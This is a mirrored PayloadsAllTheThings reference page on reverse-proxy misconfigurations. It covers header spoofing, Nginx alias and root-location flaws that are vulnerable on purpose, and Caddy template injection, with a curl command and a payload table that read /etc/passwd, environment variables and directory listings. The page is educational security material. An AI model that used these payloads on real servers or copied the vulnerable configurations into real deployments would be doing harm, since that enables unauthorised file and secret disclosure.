index.md (7350B)
1 --- 2 title: "Reverse Proxy Misconfigurations" 3 topic: "Reverse Proxy Misconfigurations" 4 topicSlug: "reverse-proxy-misconfigurations" 5 sourcePath: "Reverse Proxy Misconfigurations/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Reverse%20Proxy%20Misconfigurations/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # Reverse Proxy Misconfigurations 12 13 > A reverse proxy is a server that sits between clients and backend servers, forwarding client requests to the appropriate server while hiding the backend infrastructure and often providing load balancing or caching. Misconfigurations in a reverse proxy, such as improper access controls, lack of input sanitization in proxy_pass directives, or trusting client-provided headers like X-Forwarded-For, can lead to vulnerabilities like unauthorized access, directory traversal, or exposure of internal resources. 14 15 ## Summary 16 17 * [Tools](#tools) 18 * [Methodology](#methodology) 19 * [HTTP Headers](#http-headers) 20 * [X-Forwarded-For](#x-forwarded-for) 21 * [X-Real-IP](#x-real-ip) 22 * [True-Client-IP](#true-client-ip) 23 * [Nginx](#nginx) 24 * [Off By Slash](#off-by-slash) 25 * [Missing Root Location](#missing-root-location) 26 * [Caddy](#caddy) 27 * [Template Injection](#template-injection) 28 * [Labs](#labs) 29 * [References](#references) 30 31 ## Tools 32 33 * [yandex/gixy](https://github.com/yandex/gixy) - Nginx configuration static analyzer. 34 * [MegaManSec/Gixy-Next](https://github.com/MegaManSec/Gixy-Next) - Actively maintained Python3 fork of gixy. 35 * [shiblisec/Kyubi](https://github.com/shiblisec/Kyubi) - A tool to discover Nginx alias traversal misconfiguration. 36 * [laluka/bypass-url-parser](https://github.com/laluka/bypass-url-parser) - Tool that tests MANY url bypasses to reach a 40X protected page. 37 38 ```ps1 39 bypass-url-parser -u "http://127.0.0.1/juicy_403_endpoint/" -s 8.8.8.8 -d 40 bypass-url-parser -u /path/urls -t 30 -T 5 -H "Cookie: me_iz=admin" -H "User-agent: test" 41 bypass-url-parser -R /path/request_file --request-tls -m "mid_paths, end_paths" 42 ``` 43 44 ## Methodology 45 46 ### HTTP Headers 47 48 Since headers like `X-Forwarded-For`, `X-Real-IP`, and `True-Client-IP` are just regular HTTP headers, a client can set or override them if it can control part of the traffic path—especially when directly connecting to the application server, or when reverse proxies are not properly filtering or validating these headers. 49 50 #### X-Forwarded-For 51 52 `X-Forwarded-For` is an HTTP header used to identify the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. 53 54 When a client makes a request through a proxy or load balancer, that proxy adds an X-Forwarded-For header containing the client’s real IP address. 55 56 If there are multiple proxies (a request passes through several), each proxy adds the address from which it received the request to the header, comma-separated. 57 58 ```ps1 59 X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3 60 ``` 61 62 Nginx can override the header with the client's real IP address. 63 64 ```ps1 65 proxy_set_header X-Forwarded-For $remote_addr; 66 ``` 67 68 #### X-Real-IP 69 70 `X-Real-IP` is another custom HTTP header, commonly used by Nginx and some other proxies, to forward the original client IP address. Rather than including a chain of IP addresses like X-Forwarded-For, X-Real-IP contains only a single IP: the address of the client connecting to the first proxy. 71 72 #### True-Client-IP 73 74 `True-Client-IP` is a header developed and standardized by some providers, particularly by Akamai, to pass the original client’s IP address through their infrastructure. 75 76 ### Nginx 77 78 #### Off By Slash 79 80 Nginx matches incoming request URIs against the location blocks defined in your configuration. 81 82 * `location /app/` matches requests to `/app/`, `/app/foo`, `/app/bar/123`, etc. 83 * `location /app` (no trailing slash) matches `/app*` (i.e., `/application`, `/appfile`, etc.), 84 85 This means in Nginx, the presence or absence of a slash in a location block changes the matching logic. 86 87 ```ps1 88 server { 89 location /app/ { 90 # Handles /app/ and anything below, e.g., /app/foo 91 } 92 location /app { 93 # Handles only /app with nothing after OR routes like /application, /appzzz 94 } 95 } 96 ``` 97 98 Example of a vulnerable configuration: An attacker requesting `/styles../secret.txt` resolves to `/path/styles/../secret.txt` 99 100 ```ps1 101 location /styles { 102 alias /path/css/; 103 } 104 ``` 105 106 #### Missing Root Location 107 108 The `root /etc/nginx;` directive sets the server's root directory for static files. 109 The configuration doesn't have a root location `/`, it will be set globally set. 110 A request to `/nginx.conf` would resolve to `/etc/nginx/nginx.conf`. 111 112 ```ps1 113 server { 114 root /etc/nginx; 115 116 location /hello.txt { 117 try_files $uri $uri/ =404; 118 proxy_pass http://127.0.0.1:8080/; 119 } 120 } 121 ``` 122 123 ### Caddy 124 125 #### Template Injection 126 127 The provided Caddy web server config uses the `templates` directive, which allows dynamic content rendering with Go templates. 128 129 ```ps1 130 :80 { 131 root * / 132 templates 133 respond "You came from {http.request.header.Referer}" 134 } 135 ``` 136 137 This tells Caddy to process the response string as a template, and interpolate any variables (using Go template syntax) present in the referenced request header. 138 139 In this curl request, the attacker supplied as `Referer` header a Go template expression: `{{readFile "etc/passwd"}}`. 140 141 ```ps1 142 curl -H 'Referer: {{readFile "etc/passwd"}}' http://localhost/ 143 ``` 144 145 ```ps1 146 HTTP/1.1 200 OK 147 Content-Length: 716 148 Content-Type: text/plain; charset=utf-8 149 Server: Caddy 150 Date: Thu, 24 Jul 2025 08:00:50 GMT 151 152 You came from root:x:0:0:root:/root:/bin/sh 153 bin:x:1:1:bin:/bin:/sbin/nologin 154 daemon:x:2:2:daemon:/sbin:/sbin/nologin 155 ``` 156 157 Because Caddy is running the templates directive, it will evaluate anything in curly braces inside the context, including things from untrusted input. The `readFile` function is available in Caddy templates, so the attacker's input causes Caddy to actually read `/etc/passwd` and insert its content into the HTTP response. 158 159 | Payload | Description | 160 | ----------------------------- | ----------------------------- | 161 | `{{env "VAR_NAME"}}` | Get an environment variable | 162 | `{{listFiles "/"}}` | List all files in a directory | 163 | `{{readFile "path/to/file"}}` | Read a file | 164 165 ## Labs 166 167 * [Root Me - Nginx - Alias Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-Alias-Misconfiguration) 168 * [Root Me - Nginx - Root Location Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-Root-Location-Misconfiguration) 169 * [Root Me - Nginx - SSRF Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration) 170 * [Detectify - Vulnerable Nginx](https://github.com/detectify/vulnerable-nginx) 171 172 ## References 173 174 * [What is X-Forwarded-For and when can you trust it? - Phil Sturgeonopens - January 31, 2024](https://web.archive.org/web/20260112224231/https://httptoolkit.com/blog/what-is-x-forwarded-for/) 175 * [Common Nginx misconfigurations that leave your web server open to attack - Detectify - November 10, 2020](https://web.archive.org/web/20260227155031/https://blog.detectify.com/industry-insights/common-nginx-misconfigurations-that-leave-your-web-server-ope-to-attack/)